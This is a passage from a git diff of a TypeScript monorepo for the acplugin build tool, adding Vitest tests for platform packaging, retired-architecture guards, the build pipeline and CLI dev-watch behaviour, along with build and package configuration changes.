'production', { defaultPlatforms: [pi()] }); + expect(result.diagnostics).toEqual([]); + return result.config!; +} + +afterEach(async () => { + await Promise.all(temporaryRoots.splice(0).map(root => fs.rm(root, { recursive: true, force: true }))); +}); + +describe('Pi Platform', () => { + it('packs, installs, and discovers package Skills and Prompts from an independent consumer', async () => { + /** 包含全部首期 Pi 原生资源的规范工程。 */ + const root = await createProject(); + /** 经过 Pi package Validator 的构建结果。 */ + const result = await executeLifecycle({ + config: resolvedConfig(root), + /** 纯 Markdown Platform Fixture 不加载 TypeScript descriptor。 */ + loadTypeScriptModule: async () => undefined, + environment: {}, + }); + /** Pi npm package 的最终交付根。 */ + const output = path.join(root, 'dist/pi/package'); + /** 独立于生成工程的真实 package 消费目录。 */ + const consumer = path.join(root, 'consumer'); + /** pnpm pack 存放 tarball 的独立目录。 */ + const tarballs = path.join(root, 'tarballs'); + await fs.mkdir(consumer); + await fs.mkdir(tarballs); + await fs.writeFile(path.join(consumer, 'package.json'), '{"name":"pi-consumer","version":"1.0.0","private":true}\n'); + await runPnpm(output, ['pack', '--pack-destination', tarballs]); + /** 当前 pack 命令生成的唯一 tarball。 */ + const tarball = path.join(tarballs, (await fs.readdir(tarballs)).find(file => file.endsWith('.tgz'))!); + await runPnpm(consumer, ['add', '--ignore-scripts', tarball]); + /** 从独立 node_modules 加载的 Pi package manifest。 */ + const installedRoot = path.join(consumer, 'node_modules/release-tools'); + /** Pi 启动时用来发现 package 资源的配置。 */ + const manifest = JSON.parse(await fs.readFile(path.join(installedRoot, 'package.json'), 'utf8')) as { + readonly private?: boolean; + readonly workspaces?: unknown; + readonly pi: { readonly skills: readonly string[]; readonly prompts: readonly string[]; readonly image: string }; + }; + + expect(result.success).toBe(true); + expect(manifest.private).toBeUndefined(); + expect(manifest.workspaces).toBeUndefined(); + expect(manifest.pi).toEqual({ image: './assets/cover.png', prompts: ['./prompts'], skills: ['./skills'] }); + await fs.access(path.join(installedRoot, manifest.pi.skills[0]!.slice(2), 'review/SKILL.md')); + await fs.access(path.join(installedRoot, manifest.pi.prompts[0]!.slice(2), 'release.md')); + await fs.access(path.join(installedRoot, manifest.pi.image.slice(2))); + }, 30_000); +}); diff --git a/packages/platforms/pi/tsconfig.json b/packages/platforms/pi/tsconfig.json new file mode 100644 index 0000000..3ae4da2 --- /dev/null +++ b/packages/platforms/pi/tsconfig.json @@ -0,0 +1,4 @@ +{ + "extends": "../../../tsconfig.base.json", + "include": ["src/**/*.ts", "test/**/*.ts"] +} diff --git a/packages/platforms/pi/tsdown.config.ts b/packages/platforms/pi/tsdown.config.ts new file mode 100644 index 0000000..76bc4ea --- /dev/null +++ b/packages/platforms/pi/tsdown.config.ts @@ -0,0 +1,12 @@ +import { defineConfig } from 'tsdown'; + +/** Pi Platform 使用统一 Node 20 ESM 与声明输出。 */ +export default defineConfig({ + entry: ['./src/index.ts'], + format: ['esm'], + platform: 'node', + target: 'node20', + dts: { generator: 'oxc' }, + clean: true, + sourcemap: false, +}); diff --git a/packages/test/package.json b/packages/test/package.json index 8a9a80a..1384c9e 100644 --- a/packages/test/package.json +++ b/packages/test/package.json @@ -5,22 +5,20 @@ "type": "module", "engines": { "node": ">=20" }, "scripts": { - "pretest": "pnpm --filter \"...@tokenroll/acplugin\" run build", + "pretest": "pnpm --filter @acplugin/core run build && pnpm --filter \"@acplugin/platform-*\" run build && pnpm --filter \"...@tokenroll/acplugin\" run build", "test": "vitest run", "test:watch": "vitest", "typecheck": "tsc -p tsconfig.json" }, "dependencies": { - "@acplugin/compiler-claude-code": "workspace:*", - "@acplugin/compiler-codex": "workspace:*", "@acplugin/core": "workspace:*", "@tokenroll/acplugin": "workspace:*", - "@tokenroll/acplugin-module-hooks": "workspace:*", - "@tokenroll/acplugin-module-mcp": "workspace:*" + "@tokenroll/acplugin-extension-hooks": "workspace:*", + "@tokenroll/acplugin-extension-mcp": "workspace:*" }, "devDependencies": { "@types/node": "catalog:", - "typescript": "catalog:", + "@typescript/native": "catalog:", "vitest": "catalog:" } } diff --git a/packages/test/test/architecture.test.ts b/packages/test/test/architecture.test.ts new file mode 100644 index 0000000..7ae7e2c --- /dev/null +++ b/packages/test/test/architecture.test.ts @@ -0,0 +1,133 @@ +import { promises as fs } from 'node:fs'; +import path from 'node:path'; +import { fileURLToPath } from 'node:url'; +import { describe, expect, it } from 'vitest'; + +/** 架构残留扫描使用的仓库绝对根目录。 */ +const root = fileURLToPath(new URL('../../..', import.meta.url)); + +/** 生产源码中不允许继续存在的旧运行时类型和投影字段。 */ +const RETIRED_RUNTIME_PATTERN = /\b(?:TargetId|ResolvedTarget|AcpluginModule|TargetContribution|CompilerContext|CompilerOutput|CompilerRegistry|BuildRequest|legacyTargets|legacyModules|buildProject|ArtifactGraph)\b/; + +/** 已正式删除且不得被 Workspace 依赖重新引入的旧包名。 */ +const RETIRED_PACKAGE_PATTERN = /@acplugin\/compiler-|@tokenroll\/acplugin-module-/; + +/** 允许保留旧字段文字、但只能用于定向诊断或迁移的生产源码。 */ +const LEGACY_TERM_ALLOWLIST = new Set([ + 'packages/acplugin/src/cli.ts', + 'packages/core/src/config.ts', + 'packages/core/src/scanner.ts', +]); + +/** + * 递归收集生产目录下的 TypeScript 源文件。 + * + * @param directory 当前遍历目录。 + * @returns 按仓库相对路径排序的 TypeScript 文件。 + */ +async function productionFiles(directory: string): Promise { + /** 当前目录按名称确定性排序后的目录项。 */ + const entries = await fs.readdir(path.join(root, directory), { withFileTypes: true }); + /** 当前目录及其后代累计得到的生产源码。 */ + const files: string[] = []; + for (const entry of entries.sort((left, right) => left.name.localeCompare(right.name, 'en'))) { + /** 当前目录项的仓库相对路径。 */ + const relative = path.posix.join(directory, entry.name); + if (entry.isDirectory()) + files.push(...await productionFiles(relative)); + else if (entry.name.endsWith('.ts')) + files.push(relative); + } + return files; +} + +/** + * 递归收集可能保留 Workspace 依赖、路径 Alias 或 Bundle 入口的元数据文件。 + * + * @param directory 当前遍历的仓库相对目录。 + * @returns 排除依赖与构建产物后的稳定元数据文件列表。 + */ +async function workspaceMetadataFiles(directory: string): Promise { + /** 当前目录按名称确定性排序后的目录项。 */ + const entries = await fs.readdir(path.join(root, directory), { withFileTypes: true }); + /** 当前目录及后代累计得到的 Workspace 元数据文件。 */ + const files: string[] = []; + /** entry 表示当前检查的目录项。 */ + for (const entry of entries.sort((left, right) => left.name.localeCompare(right.name, 'en'))) { + if (entry.name === 'node_modules' || entry.name === 'dist') + continue; + /** 当前目录项的仓库相对路径。 */ + const relative = path.posix.join(directory, entry.name); + if (entry.isDirectory()) { + files.push(...await workspaceMetadataFiles(relative)); + } else if (entry.name === 'package.json' || entry.name === 'tsconfig.json' + || entry.name === 'tsdown.config.ts' || entry.name === 'vitest.config.ts') { + files.push(relative); + } + } + return files; +} + +describe('retired runtime architecture guard', () => { + it('keeps production on the single Platform/Extension lifecycle', async () => { + /** Core、主包、Platform 和 Extension 共同构成的生产 TypeScript 范围。 */ + const files = (await Promise.all([ + 'packages/core/src', + 'packages/acplugin/src', + 'packages/platforms', + 'packages/extensions', + ].map(productionFiles))).flat(); + /** 每个违规文件及其命中类别组成的稳定列表。 */ + const violations: string[] = []; + for (const file of files) { + /** 当前生产源码的完整文本。 */ + const source = await fs.readFile(path.join(root, file), 'utf8'); + /** Migration 是旧输入术语唯一允许存在的生产隔离区。 */ + const isMigration = file.startsWith('packages/acplugin/src/migration/'); + if (!isMigration && RETIRED_RUNTIME_PATTERN.test(source)) + violations.push(`${file}:runtime`); + if (!isMigration && RETIRED_PACKAGE_PATTERN.test(source)) + violations.push(`${file}:package`); + if (!isMigration && !LEGACY_TERM_ALLOWLIST.has(file) && /(?:--target|["']targets["']|["']modules["'])/.test(source)) + violations.push(`${file}:term`); + } + + expect(violations).toEqual([]); + }); + + it('does not retain the old Compiler or Module package directories', async () => { + /** ACPL-012 必须从 Workspace 物理删除的旧包目录。 */ + const retiredDirectories = [ + 'packages/compiler-claude-code', + 'packages/compiler-codex', + 'packages/module-hooks', + 'packages/module-mcp', + ]; + for (const directory of retiredDirectories) + await expect(fs.access(path.join(root, directory))).rejects.toThrow(); + }); + + it('does not retain retired package names in Workspace and release metadata', async () => { + /** 根配置与递归 Package 元数据共同覆盖依赖、Alias、Bundle、Changesets 和 Lockfile。 */ + const files = [ + '.changeset/config.json', + 'package.json', + 'pnpm-lock.yaml', + 'pnpm-workspace.yaml', + 'scripts/verify-release.mjs', + 'tsconfig.base.json', + ...await workspaceMetadataFiles('packages'), + ]; + /** 仍包含已删除包名的元数据文件。 */ + const violations: string[] = []; + /** file 表示当前检查的 Workspace 元数据文件。 */ + for (const file of files) { + /** 当前元数据文件的完整文本。 */ + const source = await fs.readFile(path.join(root, file), 'utf8'); + if (RETIRED_PACKAGE_PATTERN.test(source)) + violations.push(file); + } + + expect(violations).toEqual([]); + }); +}); diff --git a/packages/test/test/build.test.ts b/packages/test/test/build.test.ts index 31d46b7..c12eb58 100644 --- a/packages/test/test/build.test.ts +++ b/packages/test/test/build.test.ts @@ -2,7 +2,7 @@ import { promises as fs } from 'node:fs'; import os from 'node:os'; import path from 'node:path'; import { afterEach, describe, expect, it } from 'vitest'; -import { runProject } from '@tokenroll/acplugin'; +import { codex, cursor, ProjectConfigError, runProject, type PlatformId } from '@tokenroll/acplugin'; /** 当前测试创建并在 afterEach 中统一删除的临时工程根目录。 */ const roots: string[] = []; @@ -14,6 +14,7 @@ const roots: string[] = []; * @returns 自动登记清理的工程绝对路径。 */ async function project(config = ''): Promise { + /** 当前集成测试独占并自动登记清理的工程根。 */ const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-build-test-')); roots.push(root); await fs.mkdir(path.join(root, 'src/skills/hello'), { recursive: true }); @@ -31,32 +32,89 @@ afterEach(async () => { }); describe('unified pipeline', () => { - it('validates without committing and builds both default targets atomically', async () => { + it('validates without committing and builds both default Platforms atomically', async () => { + /** 默认双 Platform 构建使用的最小工程。 */ const root = await project(); + /** 不提交任何输出的 validate 结果。 */ const validate = await runProject({ cwd: root, command: 'validate', mode: 'production', commit: false }); - expect(validate.report.success).toBe(true); - expect(validate.report.committed).toBe(false); + expect(validate.success).toBe(true); + expect(validate.committed).toBe(false); await expect(fs.access(path.join(root, 'dist'))).rejects.toThrow(); + /** 原子提交 Claude Code 与 Codex 输出的 build 结果。 */ const build = await runProject({ cwd: root, command: 'build', mode: 'production', commit: true }); - expect(build.report.success).toBe(true); - expect(build.report.committed).toBe(true); - expect(JSON.parse(await fs.readFile(path.join(root, 'dist/claude-code/.claude-plugin/plugin.json'), 'utf8'))).toMatchObject({ name: 'hello-plugin' }); - expect(JSON.parse(await fs.readFile(path.join(root, 'dist/codex/.codex-plugin/plugin.json'), 'utf8'))).toMatchObject({ skills: './skills/' }); + expect(build.success).toBe(true); + expect(build.committed).toBe(true); + expect(JSON.parse(await fs.readFile(path.join(root, 'dist/claude-code/plugin/.claude-plugin/plugin.json'), 'utf8'))).toMatchObject({ name: 'hello-plugin' }); + expect(JSON.parse(await fs.readFile(path.join(root, 'dist/codex/plugin/.codex-plugin/plugin.json'), 'utf8'))).toMatchObject({ skills: './skills/' }); + + /** build 命令显式关闭 commit 时仍完整物化验证,但不创建新 outDir。 */ + await fs.rm(path.join(root, 'dist'), { recursive: true, force: true }); + /** 关闭提交后的完整 build 报告。 */ + const dryBuild = await runProject({ cwd: root, command: 'build', mode: 'production', commit: false }); + expect(dryBuild).toMatchObject({ success: true, committed: false, command: 'build' }); + await expect(fs.access(path.join(root, 'dist'))).rejects.toThrow(); + }); + + it('preserves the last complete dual-Platform output when either Platform fails', async () => { + /** 先生成一份可用于失败回滚对比的完整默认输出。 */ + const root = await project(); + /** 产生回滚基线的首次双 Platform 构建。 */ + const first = await runProject({ cwd: root, command: 'build', mode: 'production' }); + expect(first).toMatchObject({ success: true, committed: true }); + /** Claude Code 原生但 Codex 会降级的 Agent,使默认严格构建整体失败。 */ + await fs.mkdir(path.join(root, 'src/agents'), { recursive: true }); + await fs.writeFile(path.join(root, 'src/agents/reviewer.md'), '---\ndescription: Review changes.\n---\nReview changes carefully.\n'); + /** 失败前 Codex Plugin Manifest 的稳定内容。 */ + const manifest = path.join(root, 'dist/codex/plugin/.codex-plugin/plugin.json'); + /** 用于确认失败事务未覆盖旧产物的基线文本。 */ + const previous = await fs.readFile(manifest, 'utf8'); + + /** 新增不兼容 Agent 后的预期失败构建。 */ + const failed = await runProject({ cwd: root, command: 'build', mode: 'production' }); + + expect(failed).toMatchObject({ success: false, committed: false }); + expect(failed.diagnostics).toContainEqual(expect.objectContaining({ code: 'COMPATIBILITY_STRICT', platform: codex().id })); + expect(await fs.readFile(manifest, 'utf8')).toBe(previous); }); it('fails strict Codex compatibility for Agents and succeeds when relaxed', async () => { + /** 包含 Codex 降级 Agent 的测试工程。 */ const root = await project(); await fs.mkdir(path.join(root, 'src/agents'), { recursive: true }); await fs.writeFile(path.join(root, 'src/agents/reviewer.md'), '---\ndescription: Review changes.\n---\nReview changes carefully.\n'); - const strict = await runProject({ cwd: root, command: 'validate', mode: 'production', targets: ['codex'], strict: true }); - expect(strict.report.success).toBe(false); - expect(strict.report.diagnostics).toContainEqual(expect.objectContaining({ code: 'COMPATIBILITY_STRICT' })); + /** 严格模式下预期失败的 Codex 验证结果。 */ + const strict = await runProject({ cwd: root, command: 'validate', mode: 'production', platforms: [codex().id], strict: true }); + expect(strict.success).toBe(false); + expect(strict.diagnostics).toContainEqual(expect.objectContaining({ code: 'COMPATIBILITY_STRICT' })); + + /** 宽松模式下保留降级结论但成功的 Codex 验证结果。 */ + const relaxed = await runProject({ cwd: root, command: 'validate', mode: 'production', platforms: [codex().id], strict: false }); + expect(relaxed.success).toBe(true); + expect(relaxed.compatibility).toContainEqual(expect.objectContaining({ subject: 'agent:reviewer', level: 'degraded' })); + }); + + it('rejects empty, duplicate, and unconfigured Platform selections before execution', async () => { + /** Platform 子集边界测试使用的最小工程。 */ + const root = await project(); + /** 三种非法选择对应的稳定诊断码。 */ + const cases: readonly { platforms: readonly PlatformId[]; code: string }[] = [ + { platforms: [] as const, code: 'CLI_PLATFORM_SELECTION_EMPTY' }, + { platforms: [codex().id, codex().id], code: 'CLI_PLATFORM_SELECTION_DUPLICATE' }, + { platforms: [cursor().id], code: 'CLI_PLATFORM_NOT_CONFIGURED' }, + ]; - const relaxed = await runProject({ cwd: root, command: 'validate', mode: 'production', targets: ['codex'], strict: false }); - expect(relaxed.report.success).toBe(true); - expect(relaxed.report.compatibility).toContainEqual(expect.objectContaining({ subject: 'agent:reviewer', level: 'degraded' })); + /** item 表示当前待验证的非法 Platform 子集。 */ + for (const item of cases) { + await expect(runProject({ + cwd: root, + command: 'validate', + mode: 'production', + platforms: item.platforms, + })).rejects.toSatisfy((error: unknown) => error instanceof ProjectConfigError + && error.diagnostics.some(diagnostic => diagnostic.code === item.code)); + } }); }); diff --git a/packages/test/test/claude-code.test.ts b/packages/test/test/claude-code.test.ts new file mode 100644 index 0000000..d26b34d --- /dev/null +++ b/packages/test/test/claude-code.test.ts @@ -0,0 +1,79 @@ +import { promises as fs } from 'node:fs'; +import path from 'node:path'; +import { fileURLToPath } from 'node:url'; +import { describe, expect, it } from 'vitest'; +import { claudeCode } from '@tokenroll/acplugin'; +import { PLATFORM_ID } from '@tokenroll/acplugin/platforms/claude-code'; + +/** 跨包契约测试读取源码边界时使用的仓库根目录。 */ +const repositoryRoot = fileURLToPath(new URL('../../..', import.meta.url)); + +/** + * 递归读取 Claude Code Platform 的全部 TypeScript 源码。 + * + * @param directory 当前需要遍历的源码目录。 + * @returns 按文件名稳定排序并拼接后的源码文本。 + */ +async function platformSources(directory: string): Promise { + /** 当前目录按名称排序后的文件系统项。 */ + const entries = (await fs.readdir(directory, { withFileTypes: true })) + .sort((left, right) => left.name.localeCompare(right.name, 'en')); + /** 当前目录与全部子目录累计的 TypeScript 源码。 */ + const sources: string[] = []; + for (const entry of entries) { + /** 当前目录项的绝对路径。 */ + const target = path.join(directory, entry.name); + if (entry.isDirectory()) + sources.push(await platformSources(target)); + else if (entry.isFile() && entry.name.endsWith('.ts')) + sources.push(await fs.readFile(target, 'utf8')); + } + return sources.join('\n'); +} + +describe('Claude Code public Platform integration', () => { + it('re-exports the private Platform factory with a frozen Marketplace contract', () => { + /** 通过正式公开主包创建的 Claude Code Platform。 */ + const platform = claudeCode({ + strict: false, + defaultEnabled: false, + marketplace: { + owner: { + name: 'TokenRoll', + email: 'maintainers@example.com', + url: 'https://github.com/TokenRollAI', + }, + category: 'Developer Tools', + tags: ['release'], + }, + }); + + expect(platform.id).toBe(PLATFORM_ID); + expect(platform.strict).toBe(false); + expect(platform.deliveryType).toBe('plugin'); + expect(platform.options).toEqual({ + defaultEnabled: false, + marketplace: { + owner: { + name: 'TokenRoll', + email: 'maintainers@example.com', + url: 'https://github.com/TokenRollAI', + }, + category: 'Developer Tools', + tags: ['release'], + }, + }); + expect(Object.isFrozen(platform.options)).toBe(true); + expect(Object.isFrozen(platform.options!.marketplace)).toBe(true); + }); + + it('keeps Hooks and MCP implementation packages outside the Platform dependency boundary', async () => { + /** Claude Code 私有 Platform 的完整源码文本。 */ + const source = await platformSources(path.join(repositoryRoot, 'packages/platforms/claude-code/src')); + + expect(source).not.toContain('@tokenroll/acplugin-extension-hooks'); + expect(source).not.toContain('@tokenroll/acplugin-extension-mcp'); + expect(source).not.toContain('@tokenroll/acplugin-module-hooks'); + expect(source).not.toContain('@tokenroll/acplugin-module-mcp'); + }); +}); diff --git a/packages/test/test/cli.test.ts b/packages/test/test/cli.test.ts index c87c692..413caa8 100644 --- a/packages/test/test/cli.test.ts +++ b/packages/test/test/cli.test.ts @@ -27,6 +27,7 @@ interface RunningCli { * @returns 自动登记清理的绝对路径。 */ async function temporaryProject(): Promise { + /** 当前 CLI 子进程测试独占且会统一清理的工程根。 */ const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-cli-test-')); roots.push(root); return root; @@ -54,7 +55,13 @@ function startCli(args: readonly string[], cwd: string): RunningCli { child.stdout.setEncoding('utf8').on('data', chunk => stdout += chunk); child.stderr.setEncoding('utf8').on('data', chunk => stderr += chunk); child.once('close', () => children.delete(child)); - return { child, stdout: () => stdout, stderr: () => stderr }; + return { + child, + /** stdout 返回当前累计的标准输出。 */ + stdout: () => stdout, + /** stderr 返回当前累计的标准错误。 */ + stderr: () => stderr, + }; } /** @@ -155,19 +162,25 @@ afterEach(async () => { describe.sequential('CLI subprocess contract', () => { it('prints Help without prompting and classifies usage errors as exit 2', async () => { + /** 帮助与参数错误测试使用的空工程根。 */ const root = await temporaryProject(); + /** 不传子命令时 CLI 返回的帮助输出。 */ const help = await runCli([], root); expect(help).toMatchObject({ code: 0, stderr: '' }); expect(help.stdout).toContain('Usage: acplugin'); expect(help.stdout).not.toContain('?'); + /** 旧 --target 参数必须给出迁移到 --platform 的定向用法错误。 */ const usage = await runCli(['build', '--target', 'unknown'], root); expect(usage.code).toBe(2); - expect(usage.stderr).toContain('Allowed choices are claude-code, codex'); + expect(usage.stderr).toContain('--target'); + expect(usage.stderr).toContain('--platform'); }); it('emits one JSON document and exit 1 for project configuration errors', async () => { + /** 缺失配置入口的临时工程根。 */ const root = await temporaryProject(); + /** JSON 模式下配置加载失败的完整 CLI 结果。 */ const result = await runCli(['validate', '--json'], root); expect(result.code).toBe(1); @@ -181,33 +194,104 @@ describe.sequential('CLI subprocess contract', () => { }); it('shares the pipeline while only build commits output', async () => { + /** 四个命令共享 Pipeline 的规范测试工程。 */ const root = await temporaryProject(); await writeValidProject(root); + /** 只验证且不落盘的 validate 子进程结果。 */ const validate = await runCli(['validate', '--json'], root); expect(validate.code).toBe(0); - expect(JSON.parse(validate.stdout)).toMatchObject({ success: true, committed: false, artifacts: [] }); + expect(JSON.parse(validate.stdout)).toMatchObject({ + schemaVersion: '1', + success: true, + committed: false, + platforms: ['claude-code', 'codex'], + }); await expect(fs.access(path.join(root, 'dist'))).rejects.toThrow(); + /** 返回 Artifact 摘要但不落盘的 inspect 子进程结果。 */ const inspect = await runCli(['inspect', '--json'], root); expect(inspect.code).toBe(0); - expect(JSON.parse(inspect.stdout).artifacts.length).toBeGreaterThan(0); + /** inspect 必须额外包含七类可审计对象中的结构化详情。 */ + const inspected = JSON.parse(inspect.stdout); + expect(inspected).toMatchObject({ + components: [{ kind: 'skill', id: 'hello' }], + extensions: [], + platformDetails: [ + { id: 'claude-code', deliveryType: 'plugin', strict: true }, + { id: 'codex', deliveryType: 'plugin', strict: true }, + ], + }); + expect(inspected.documents).toHaveLength(2); + expect(inspected.deliveryUnits.flatMap((unit: { artifacts: unknown[] }) => unit.artifacts).length).toBeGreaterThan(0); await expect(fs.access(path.join(root, 'dist'))).rejects.toThrow(); + /** 唯一应提交 dist 输出的 build 子进程结果。 */ const build = await runCli(['build', '--json'], root); expect(build.code).toBe(0); expect(JSON.parse(build.stdout)).toMatchObject({ success: true, committed: true }); - await fs.access(path.join(root, 'dist/codex/.codex-plugin/plugin.json')); + await fs.access(path.join(root, 'dist/codex/plugin/.codex-plugin/plugin.json')); + + /** --platform 只选择已配置子集,并在成功事务中替换先前完整输出。 */ + const selected = await runCli(['build', '--platform', 'codex', '--json'], root); + expect(selected.code).toBe(0); + expect(JSON.parse(selected.stdout)).toMatchObject({ platforms: ['codex'], committed: true }); + await fs.access(path.join(root, 'dist/codex/plugin/.codex-plugin/plugin.json')); + await expect(fs.access(path.join(root, 'dist/claude-code'))).rejects.toThrow(); + + /** 未配置 Platform 由统一配置边界拒绝,而不是按 ID 临时实例化。 */ + const unconfigured = await runCli(['validate', '--platform', 'cursor', '--json'], root); + expect(unconfigured.code).toBe(1); + expect(JSON.parse(unconfigured.stdout)).toMatchObject({ + success: false, + diagnostics: [{ code: 'CLI_PLATFORM_NOT_CONFIGURED', platform: 'cursor' }], + }); + }); + + it('lazy-loads bundled Migration and validates generated projects through the public pipeline', async () => { + /** CLI 动态 Migration smoke 使用的临时工作目录。 */ + const root = await temporaryProject(); + /** 包含规范资源、远程 MCP 与未映射内容的固定 Legacy Fixture。 */ + const source = path.resolve(import.meta.dirname, '../fixtures/migration/claude-project'); + /** dry-run 不会创建、但仍必须满足目标边界检查的候选路径。 */ + const destination = path.join(root, 'migrated'); + + /** 真实 CLI 必须能加载独立 Migration chunk 及其正式验证 Profile。 */ + const execution = await runCli([ + 'migrate', + source, + destination, + '--name', + 'cli-migration', + '--description', + 'CLI Migration fixture.', + '--dry-run', + '--json', + ], root); + expect(execution.code).toBe(0); + expect(JSON.parse(execution.stdout)).toMatchObject({ + schemaVersion: '1', + success: true, + dryRun: true, + projects: ['.'], + }); + await expect(fs.access(destination)).rejects.toThrow(); }); + // watch 契约需要等待三次独立构建事件;为测试本身保留足够时间,避免外层默认超时先于状态诊断触发。 it('retains the last successful dev output, recovers, and exits 130 on SIGINT', async () => { + /** dev 增量重建测试使用的规范工程根。 */ const root = await temporaryProject(); await writeValidProject(root); + /** 用于触发失败与恢复重建的 Skill 源文件。 */ const skill = path.join(root, 'src/skills/hello/SKILL.md'); - const generated = path.join(root, 'dist/codex/skills/hello/SKILL.md'); + /** dev 应持续保留最近成功版本的生成文件。 */ + const generated = path.join(root, 'dist/codex/plugin/skills/hello/SKILL.md'); + /** 持续运行并监听文件变化的真实 dev 子进程。 */ const running = startCli(['dev', '--no-strict'], root); await waitForOutput(running, stdout => stdout.includes('dev: success'), 'initial dev build'); + /** 首次成功构建后的生成内容快照。 */ const initial = await fs.readFile(generated, 'utf8'); await fs.writeFile(skill, 'invalid without frontmatter\n'); @@ -223,9 +307,490 @@ Say hello after recovery. expect(await fs.readFile(generated, 'utf8')).toContain('Say hello after recovery.'); running.child.kill('SIGINT'); + /** SIGINT 后进程的最终退出状态与输出。 */ const stopped = await waitForExit(running); expect(stopped.code).toBe(130); expect((await fs.readdir(root)).filter(name => name.startsWith('.acplugin-work-'))).toEqual([]); expect((await fs.readdir(root)).filter(name => name.includes('.acplugin.lock'))).toEqual([]); - }); + }, 20_000); + + it('rebuilds after initial watcher readiness before publishing the first success', async () => { + /** 初始 ready 竞态测试使用的规范工程根。 */ + const root = await temporaryProject(); + await writeValidProject(root); + /** 首次 buildEnd 等待测试进程完成源码修改的显式同步文件。 */ + const release = path.join(root, 'release-initial-build'); + /** ready 窗口内修改且最终产物必须包含新正文的 Skill。 */ + const skill = path.join(root, 'src/skills/hello/SKILL.md'); + /** 构造同步 Extension 时与 CLI Bundle 共享品牌 Symbol 的已构建 Facade。 */ + const facade = path.resolve(import.meta.dirname, '../../acplugin/dist/index.mjs'); + await fs.writeFile(path.join(root, 'acplugin.config.ts'), ` +import { promises as fs } from 'node:fs'; +import { defineExtension } from ${JSON.stringify(facade)}; +const barrier = defineExtension({ + name: 'initial-ready-barrier', + apiVersion: '1', + adapters: [], + discover() { return {}; }, + async buildEnd() { + process.stderr.write('fixture: initial snapshot complete\\n'); + while (true) { + try { await fs.access(${JSON.stringify(release)}); break; } + catch { await new Promise(resolve => setTimeout(resolve, 10)); } + } + }, +}); +export default { + name: 'cli-plugin', + version: '1.0.0', + description: 'Initial ready fixture.', + extensions: [barrier], + build: { strict: false }, +}; +`); + /** 首次成功提示必须等到补偿构建完成的真实 dev 子进程。 */ + const running = startCli(['dev', '--no-strict'], root); + + await waitForOutput(running, (_stdout, stderr) => stderr.includes('fixture: initial snapshot complete'), 'initial snapshot barrier'); + await fs.writeFile(skill, `--- +description: Changed before watcher readiness. +--- +Catch-up source content. +`); + await fs.writeFile(release, 'continue\n'); + await waitForOutput(running, stdout => stdout.includes('dev: success'), 'catch-up initial dev build'); + expect(await fs.readFile(path.join(root, 'dist/codex/plugin/skills/hello/SKILL.md'), 'utf8')) + .toContain('Catch-up source content.'); + + running.child.kill('SIGINT'); + expect((await waitForExit(running)).code).toBe(130); + }, 20_000); + + // 配置恢复首次发现的工程根必须完成动态 ready,成功提示才能成为后续修改不会丢失的同步边界。 + it('waits for dynamically discovered paths before reporting a recovered dev build', async () => { + /** 初始缺失配置、但已经包含合法规范资源的临时工程根。 */ + const root = await temporaryProject(); + /** 配置恢复后立即修改、用于验证动态监听就绪边界的 Skill。 */ + const skill = path.join(root, 'src/skills/hello/SKILL.md'); + /** 恢复构建在登记动态工程根前使用的显式同步文件。 */ + const release = path.join(root, 'release-recovered-build'); + await fs.mkdir(path.dirname(skill), { recursive: true }); + await fs.writeFile(skill, `--- +description: Say hello after configuration recovery. +--- +First recovered build. +`); + /** 只监听尚不存在配置入口的真实 dev 子进程。 */ + const running = startCli(['dev', '--no-strict'], root); + + await waitForOutput(running, (_stdout, stderr) => stderr.includes('CONFIG_LOAD_FAILED'), 'initial missing configuration failure'); + /** 构造恢复同步 Extension 时与 CLI Bundle 共享品牌 Symbol 的已构建 Facade。 */ + const facade = path.resolve(import.meta.dirname, '../../acplugin/dist/index.mjs'); + await fs.writeFile(path.join(root, 'acplugin.config.ts'), `import { promises as fs } from 'node:fs'; +import { defineExtension } from ${JSON.stringify(facade)}; +const barrier = defineExtension({ + name: 'dynamic-ready-barrier', + apiVersion: '1', + adapters: [], + discover() { return {}; }, + async buildEnd() { + process.stderr.write('fixture: recovered snapshot complete\\n'); + while (true) { + try { await fs.access(${JSON.stringify(release)}); break; } + catch { await new Promise(resolve => setTimeout(resolve, 10)); } + } + }, +}); +export default { + name: 'recovered-plugin', + version: '1.0.0', + description: 'Recovered CLI fixture.', + extensions: [barrier], + build: { strict: false }, +}; +`); + await waitForOutput(running, (_stdout, stderr) => stderr.includes('fixture: recovered snapshot complete'), 'recovered snapshot barrier'); + await fs.writeFile(skill, `--- +description: Say hello after dynamic watcher readiness. +--- +Second recovered build. +`); + await fs.writeFile(release, 'continue\n'); + await waitForOutput(running, stdout => stdout.includes('dev: success'), 'recovered catch-up build'); + /** 首次公开成功已经包含动态 ready 窗口内发生的修改。 */ + const generated = path.join(root, 'dist/codex/plugin/skills/hello/SKILL.md'); + expect(await fs.readFile(generated, 'utf8')).toContain('Second recovered build.'); + + await fs.writeFile(skill, `--- +description: Say hello after active dynamic watching. +--- +Third watched build. +`); + await waitForOutput(running, stdout => stdout.match(/dev: success/g)?.length === 2, 'active dynamic path rebuild'); + expect(await fs.readFile(generated, 'utf8')).toContain('Third watched build.'); + + running.child.kill('SIGINT'); + /** 动态监听回归场景结束后的信号退出状态。 */ + const stopped = await waitForExit(running); + expect(stopped.code).toBe(130); + }, 20_000); + + // signal handler 必须在首次 Pipeline 前安装,初始 discover 未完成时也要等待清理并稳定退出 130。 + it('drains an in-flight initial dev build when signalled before the first success', async () => { + /** 首次构建 signal 竞态测试使用的规范工程根。 */ + const root = await temporaryProject(); + await writeValidProject(root); + /** 首次 discover 延迟加载的模拟 Extension 包根。 */ + const extensionRoot = path.join(root, 'node_modules/initial-stopping-extension'); + await fs.mkdir(extensionRoot, { recursive: true }); + await fs.writeFile(path.join(extensionRoot, 'package.json'), '{"name":"initial-stopping-extension","type":"module"}\n'); + /** 首次构建结束前加载、但 signal 后不得再登记监听的 descriptor。 */ + const descriptor = path.join(extensionRoot, 'descriptor.ts'); + await fs.writeFile(descriptor, `export default 'initial-stopping-extension';\n`); + /** 构造初始延迟 Extension 时与 CLI Bundle 共享品牌 Symbol 的已构建 Facade。 */ + const facade = path.resolve(import.meta.dirname, '../../acplugin/dist/index.mjs'); + await fs.writeFile(path.join(root, 'acplugin.config.ts'), `import { defineExtension } from ${JSON.stringify(facade)}; +process.stderr.write('fixture: initial dev build started\\n'); +const extension = defineExtension({ + name: 'initial-stopping-extension', + apiVersion: '1', + adapters: [], + async discover(context) { + await new Promise(resolve => setTimeout(resolve, 500)); + await 